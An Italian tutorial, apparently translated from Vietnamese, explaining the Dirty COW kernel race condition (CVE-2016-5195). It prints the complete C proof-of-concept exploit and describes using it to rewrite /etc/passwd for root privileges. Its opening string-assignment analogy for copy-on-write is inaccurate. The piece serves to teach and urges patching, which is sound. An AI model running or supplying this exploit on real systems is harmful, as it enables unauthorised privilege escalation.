
Poiché il kernel gira con privilegi di root, può essere sfruttato come una vulnerabilità di escalation dei privilegi. Ciò significa che un attaccante può sfruttare la race condition per ottenere i privilegi di root partendo da un utente di basso livello.
Come ho appena studiato nella teoria dei sistemi operativi, la race condition si verifica quando due o più processi accedono alla stessa risorsa e vi eseguono operazioni senza una corretta sincronizzazione. In quel caso, il risultato di queste operazioni può essere errato o non come previsto.
Per rendere le cose più semplici, facciamo un esempio banale:
a = "h1n4m"; # ta gán cho a một chuỗi
b = a; # gán tiếp cho b = a
Qui, anche se abbiamo 2 variabili, entrambe puntano allo stesso oggetto in memoria. Questo è un meccanismo del sistema operativo, perché non è necessario occupare il doppio dello spazio di memoria per valori identici. Il SO aspetta fino a quando la copia non viene modificata; è in quel momento che alloca una memoria separata per l'altra variabile.
b += "dep trai vcl" # sử đổi giá trị biến b, cụ thể là thêm một chuỗi nối vào sau
A questo punto, il SO esegue le seguenti operazioni:
La condizione si verifica tra il passaggio 2 e il passaggio 4, ingannando il memory mapping per scrivere il contenuto modificato nello spazio di memoria originale invece che in quello appena allocato. Questo fa sì che venga modificata la memoria di a, cioè l'oggetto originale, invece di b, anche se su a abbiamo solo privilegi di sola lettura.
Ora arriva la parte principale: qual è l'idea per l'exploit? Come sappiamo, i privilegi di un utente sono definiti nel file /etc/passwd e solo root può modificarlo. Quindi, possiamo sfruttare la race condition per modificare il contenuto del file /etc/passwd da un utente con soli privilegi di lettura?
La risposta è sì: prima analizziamo il codice dell'exploit applicato a un esempio più semplice:

Per prima cosa, creiamo un file dirtycow con permessi 644 (solo root ha il permesso di scrittura). Notiamo che scrivendo "Hello" nel file viene restituito Permission denied.
Il bersaglio è pronto, ora passiamo al codice dell'exploit:
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;
int f=open("dirtycow", O_RDONLY);
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
char *position = strstr(map,"h1n4m");
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
Questo exploit è composto da tre thread: il thread principale, il thread writeThread e il thread madvise.
Il thread principale si occupa di mappare il nostro file in memoria:
// Trước tiên chúng ta mở tệp của mình (lưu ý rằng nó đang được mở ở chế độ chỉ đọc)
int f=open("dirtycow", O_RDONLY);
// Sau đó chúng ta map nó vào COW memory bằng MAP PRIVATE
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
Trova la posizione del pattern da sostituire:
// Sử dụng hàm strstr để tìm vị trí của "h1n4m" trong bộ nhớ được ánh xạ
char *position = strstr(map,"h1n4m");
Poi avviamo i due thread, writeThread e madviseThread.
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
writeThread:
void *writeThread(void *arg)
{
char *content= "h4ck3r";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Đưa con trỏ đến chính xác vị trí cần thay đổi
lseek(f, offset, SEEK_SET);
// Thay đổi trên memory
write(f, content, strlen(content));
}
}
Il compito di questo thread è sostituire la stringa h1n4m con h4ck3r (o qualsiasi altra cosa tu voglia :> pericoloso, vero?), ma poiché la memoria mappata è di tipo copy-on-write, questo thread può modificare solo il contenuto della copia della memoria mappata e non causa alcuna modifica al file??
Allora dov'è il pericolo? Vediamo l'altro thread.
madviseThread
void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}
Questo thread fa solo una cosa: elimina la copia della memoria mappata, così il puntatore può tornare a puntare alla memoria mappata originale, cioè alla memoria mappata iniziale.
Se questi due thread vengono eseguiti in modo sequenziale, cioè non-multithread, la modifica riguarda sempre e solo la copia della memoria mappata, senza alcun pericolo per il nostro file protetto. Ma se questi due thread vengono chiamati contemporaneamente dal sistema, cioè in multithread, cosa succede? Esatto, una race condition. A volte il sistema si confonde e punta il puntatore alla memoria mappata originale, modificando i dati sul file di root pur senza permessi di scrittura. Ma il sistema operativo non sbaglia sempre, quindi i due thread vengono eseguiti in un loop infinito: basta che il sistema si confonda una sola volta e tutto avviene come previsto.
Tornando al punto principale, il file /etc/passwd può essere modificato solo da root; dobbiamo usare le conoscenze precedenti per modificare il gruppo di lowuser nel file /etc/passwd
Da utente di basso livello non abbiamo permessi di scrittura sul file dirtycow.
Lowuser è stato aggiunto allo stesso gruppo di root (1001->0000)In questa analisi vi ho presentato la CVE-2016-5195, soprannominata "Dirty Cow" (letteralmente "la mucca sporca"). Oltre a modificare il gruppo, possiamo anche aggiungere direttamente un utente al sistema; il metodo è sempre lo stesso. Anche se questa CVE è uscita molto tempo fa, ancora oggi molti sistemi con kernel vecchi ne sono vulnerabili. Spero che attraverso questo articolo possiate comprendere a grandi linee la CVE e anche come proteggere i vostri sistemi. (aggiornate il kernel!!!!!)
E io sono h1n4m. Peaceeeee.